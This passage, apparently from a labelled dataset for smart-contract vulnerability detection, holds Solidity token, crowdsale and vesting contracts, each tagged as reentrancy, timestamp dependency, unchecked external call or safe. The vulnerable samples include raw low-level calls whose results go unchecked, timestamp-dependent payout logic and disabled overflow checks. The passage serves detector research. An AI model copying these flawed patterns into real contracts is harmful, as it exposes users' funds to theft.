doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 50000; // Give the creator all initial tokens (100000 for example) totalSupply = 60000; // Update total supply (100000 for example) name = ""EIDOO""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""EDO""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 34204.sol,"pragma solidity ^0.4.16; /* * Giga Giving Coin and ICO Contract. * 15,000,000 Coins Total. * 12,000,000 Coins available for purchase. */ contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool success) { address sender = msg.sender; require(balances[sender] >= _value); balances[sender] -= _value; balances[_to] += _value; Transfer(sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract GigaGivingToken is StandardToken { using SafeMath for uint256; uint256 private fundingGoal = 0 ether; uint256 private amountRaised; uint256 private constant PHASE_1_PRICE = 1600000000000000; uint256 private constant PHASE_2_PRICE = 2000000000000000; uint256 private constant PHASE_3_PRICE = 2500000000000000; uint256 private constant PHASE_4_PRICE = 4000000000000000; uint256 private constant PHASE_5_PRICE = 5000000000000000; uint256 private constant DURATION = 5 weeks; uint256 public constant TOTAL_TOKENS = 15000000; uint256 public constant CROWDSALE_TOKENS = 12000000; uint256 public startTime; uint256 public tokenSupply; address public creator; address public beneficiary; string public name = ""Giga Coin""; string public symbol = ""GC""; string public version = ""GC.7""; uint256 public decimals = 0; // GigaGivingToken public tokenReward; mapping(address => uint256) public ethBalanceOf; bool public fundingGoalReached = false; bool public crowdsaleClosed = false; bool public refundsOpen = false; function GigaGivingToken (address icoBeneficiary) public { creator = msg.sender; beneficiary = icoBeneficiary; totalSupply = TOTAL_TOKENS; balances[beneficiary] = TOTAL_TOKENS.sub(CROWDSALE_TOKENS); Transfer(0x0, icoBeneficiary, TOTAL_TOKENS.sub(CROWDSALE_TOKENS)); balances[this] = CROWDSALE_TOKENS; Transfer(0x0, this, CROWDSALE_TOKENS); tokenSupply = CROWDSALE_TOKENS; startTime = 1510765200; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } function () public payable { require(now >= startTime); require(now <= startTime + DURATION); require(!crowdsaleClosed); require(msg.value > 0); uint256 amount = msg.value; uint256 coinTotal = 0; if (now > startTime + 4 weeks) { coinTotal = amount.div(PHASE_5_PRICE); } else if (now > startTime + 3 weeks) { coinTotal = amount.div(PHASE_4_PRICE); } else if (now > startTime + 2 weeks) { coinTotal = amount.div(PHASE_3_PRICE); } else if (now > startTime + 1 weeks) { coinTotal = amount.div(PHASE_2_PRICE); } else { coinTotal = amount.div(PHASE_1_PRICE); } ethBalanceOf[msg.sender] = ethBalanceOf[msg.sender].add(amount); balances[msg.sender] = balances[msg.sender].add(coinTotal); balances[this] = balances[this].sub(coinTotal); amountRaised = amountRaised.add(amount); tokenSupply = tokenSupply.sub(coinTotal); transfer(msg.sender, coinTotal); } modifier afterDeadline() { if (now >= (startTime + DURATION)) { _; } } function checkGoalReached() public afterDeadline { if (amountRaised >= fundingGoal) { fundingGoalReached = true; } crowdsaleClosed = true; } function safeWithdrawal() public afterDeadline { if (refundsOpen) { uint amount = ethBalanceOf[msg.sender]; ethBalanceOf[msg.sender] = 0; if (amount > 0) { if (!msg.sender.send(amount)) { ethBalanceOf[msg.sender] = amount; } } } if (fundingGoalReached && beneficiary == msg.sender) { if (beneficiary.send(amountRaised)) { this.transfer(msg.sender, tokenSupply); } else { fundingGoalReached = false; } } } function enableRefunds() public afterDeadline { require(msg.sender == beneficiary); refundsOpen = true; } }",./Dataset/reentrancy (RE)/,5,5 0x039505b63273462e49dad2ddcdb908f7683f36f7_IM_ICO.sol,"pragma solidity ^0.4.24; /** * SmartEth.co * ERC20 Token and ICO smart contracts development, smart contracts audit, ICO websites. * [email protected] */ /** * @title SafeMath */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = 0x6996ecd54bEE11b236984c7Ae9FA5D1e37b00C6b; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract IM_ICO is Pausable { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // Max supply of tokens offered in the crowdsale uint256 public supply; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; // Min amount of wei an investor can send uint256 public minInvest; // Crowdsale opening time uint256 public openingTime; // Crowdsale closing time uint256 public closingTime; // Crowdsale duration in days uint256 public duration; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor() public { rate = 500; wallet = owner; token = ERC20(0x11a28DAD861123F74224A6b37dCc32A54e8C8E43); minInvest = 0.05 * 1 ether; duration = 1000 days; openingTime = 1594651293; // Determined by start() closingTime = openingTime + duration; // Determined by start() } /** * @dev called by the owner to start the crowdsale */ function start(uint256 _duration) public onlyOwner { duration = _duration; openingTime = now; closingTime = now + duration; } /** * @dev Returns the rate of tokens per wei at the present time. */ function getCurrentRate() public view returns (uint256) { if (now <= openingTime.add(1 days)) return rate.add(rate*3/10); // Bonus 30% if (now > openingTime.add(1 days) && now <= openingTime.add(2 days)) return rate.add(rate/5); // Bonus 20% if (now > openingTime.add(2 days) && now <= openingTime.add(7 days)) return rate.add(rate/10); // Bonus 10% } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { require(_beneficiary != address(0)); require(_weiAmount >= minInvest); require(now >= openingTime && now <= closingTime); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 currentRate = getCurrentRate(); return currentRate.mul(_weiAmount); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev called by the owner to withdraw unsold tokens */ function withdrawTokens() public onlyOwner { uint256 unsold = token.balanceOf(this); token.transfer(owner, unsold); } }",Safe,8,8 9378.sol," pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } pragma solidity ^0.4.23; contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity ^0.4.23; library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } pragma solidity ^0.4.23; contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } pragma solidity ^0.4.23; contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.23; contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } pragma solidity ^0.4.23; contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } pragma solidity ^0.4.23; contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } pragma solidity ^0.4.23; contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } pragma solidity ^0.4.23; contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } pragma solidity ^0.4.24; contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken { string public constant name = ""GOToken""; string public constant symbol = ""GOT""; uint8 public constant decimals = 18; constructor() public { paused = true; } } pragma solidity ^0.4.24; contract PGOMonthlyInternalVault { using SafeMath for uint256; using SafeERC20 for GotToken; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } uint256 public constant VESTING_DIV_RATE = 21; uint256 public constant VESTING_INTERVAL = 30 days; uint256 public constant VESTING_CLIFF = 90 days; uint256 public constant VESTING_DURATION = 720 days; GotToken public token; uint256 public start; uint256 public end; uint256 public cliff; mapping(address => Investment) public investments; function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_CLIFF); end = start.add(VESTING_DURATION); token = GotToken(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0); } } function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); investments[beneficiary].released = investments[beneficiary].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } function release() public { release(msg.sender); } function getInvestment(address beneficiary) public view returns(address, uint256, uint256) { return ( investments[beneficiary].beneficiary, investments[beneficiary].totalBalance, investments[beneficiary].released ); } function releasableAmount(address beneficiary) public view returns (uint256) { return vestedAmount(beneficiary).sub(investments[beneficiary].released); } function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= cliff && block.timestamp < end) { uint256 totalBalance = investments[beneficiary].totalBalance; uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE); uint256 time = block.timestamp.sub(cliff); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance); vested = vested.add(vestedToSum); } if (block.timestamp >= end) { vested = investments[beneficiary].totalBalance; } return vested; } } pragma solidity ^0.4.24; contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault { function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= start) { vested = investments[beneficiary].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3); uint256 totalBalance = investments[beneficiary].totalBalance; uint256 lockedBalance = totalBalance.sub(unlockedStartBalance); uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE); uint256 daysToSkip = 90 days; uint256 time = block.timestamp.sub(start).sub(daysToSkip); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); vested = vested.add(elapsedOffsets.mul(monthlyBalance)); } if (block.timestamp >= end) { vested = investments[beneficiary].totalBalance; } return vested; } }",./Dataset/timestamp dependency (TP)/,6,6 37498.sol,"pragma solidity ^0.4.15; contract generic_holder { address owner; modifier onlyowner { require(msg.sender == owner); _; } // constructor function generic_holder() { owner = msg.sender; } function change_owner(address new_owner) external onlyowner { owner = new_owner; } function execute(address _to, uint _value, bytes _data) external onlyowner payable returns (bool){ return _to.call.value(_value)(_data); } function send(address _to) external onlyowner payable returns (bool){ return _to.call.gas(300000).value(msg.value)(); } function get_owner() constant returns (address) { return owner; } }",./Dataset/unchecked external call (UC),7,7 0x029b0c90db9a97aab252da5b292b6061d397fa95_BlockbidCrowdsale.sol,"pragma solidity 0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BlockbidCrowdsale is Crowdsale, Ownable { uint public goal; uint public cap; uint public earlybonus; uint public standardrate; bool public goalReached = false; bool public paused = false; uint public constant weeklength = 604800; mapping(address => uint) public weiContributed; address[] public contributors; event LogClaimRefund(address _address, uint _value); modifier notPaused() { if (paused) { revert(); } _; } function BlockbidCrowdsale(uint _goal, uint _cap, uint _startTime, uint _endTime, uint _rate, uint _earlyBonus, address _wallet) Crowdsale(_startTime, _endTime, _rate, _wallet) public { require(_cap > 0); require(_goal > 0); standardrate = _rate; earlybonus = _earlyBonus; cap = _cap; goal = _goal; } // @return true if the transaction can buy tokens /* Added: - Must be under Cap - Requires user to send atleast 1 token's worth of ether - Needs to call updateRate() function to validate how much ether = 1 token - */ function validPurchase() internal constant returns (bool) { updateRate(); bool withinPeriod = (now >= startTime && now <= endTime); bool withinPurchaseLimit = (msg.value >= 0.1 ether && msg.value <= 100 ether); bool withinCap = (token.totalSupply() <= cap); return withinPeriod && withinPurchaseLimit && withinCap; } // function that will determine how many tokens have been created function tokensPurchased() internal constant returns (uint) { return rate.mul(msg.value).mul(100000000).div(1 ether); } /* function will identify what period of crowdsale we are in and update the rate. Rates are lower (e.g. 1:360 instead of 1:300) early on to give early bird discounts */ function updateRate() internal returns (bool) { if (now >= startTime.add(weeklength.mul(4))) { rate = 200; } else if (now >= startTime.add(weeklength.mul(3))) { rate = standardrate; } else if (now >= startTime.add(weeklength.mul(2))) { rate = standardrate.add(earlybonus.sub(40)); } else if (now >= startTime.add(weeklength)) { rate = standardrate.add(earlybonus.sub(20)); } else { rate = standardrate.add(earlybonus); } return true; } function buyTokens(address beneficiary) notPaused public payable { require(beneficiary != 0x0); // enable wallet to deposit funds post ico and goals not reached if (msg.sender == wallet) { require(hasEnded()); require(!goalReached); } // everybody else goes through standard validation else { require(validPurchase()); } // update state weiRaised = weiRaised.add(msg.value); // if user already a contributor if (weiContributed[beneficiary] > 0) { weiContributed[beneficiary] = weiContributed[beneficiary].add(msg.value); } // new contributor else { weiContributed[beneficiary] = msg.value; contributors.push(beneficiary); } // update tokens for each individual token.mint(beneficiary, tokensPurchased()); TokenPurchase(msg.sender, beneficiary, msg.value, tokensPurchased()); token.mint(wallet, (tokensPurchased().div(4))); if (token.totalSupply() > goal) { goalReached = true; } // don't forward funds if wallet belongs to owner if (msg.sender != wallet) { forwardFunds(); } } function getContributorsCount() public constant returns(uint) { return contributors.length; } // if crowdsale is unsuccessful, investors can claim refunds here function claimRefund() notPaused public returns (bool) { require(!goalReached); require(hasEnded()); uint contributedAmt = weiContributed[msg.sender]; require(contributedAmt > 0); weiContributed[msg.sender] = 0; msg.sender.transfer(contributedAmt); LogClaimRefund(msg.sender, contributedAmt); return true; } // allow owner to pause ico in case there is something wrong function setPaused(bool _val) onlyOwner public returns (bool) { paused = _val; return true; } // destroy contract and send all remaining ether back to wallet function kill() onlyOwner public { require(!goalReached); require(hasEnded()); selfdestruct(wallet); } // create BID token function createTokenContract() internal returns (MintableToken) { return new BlockbidMintableToken(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to 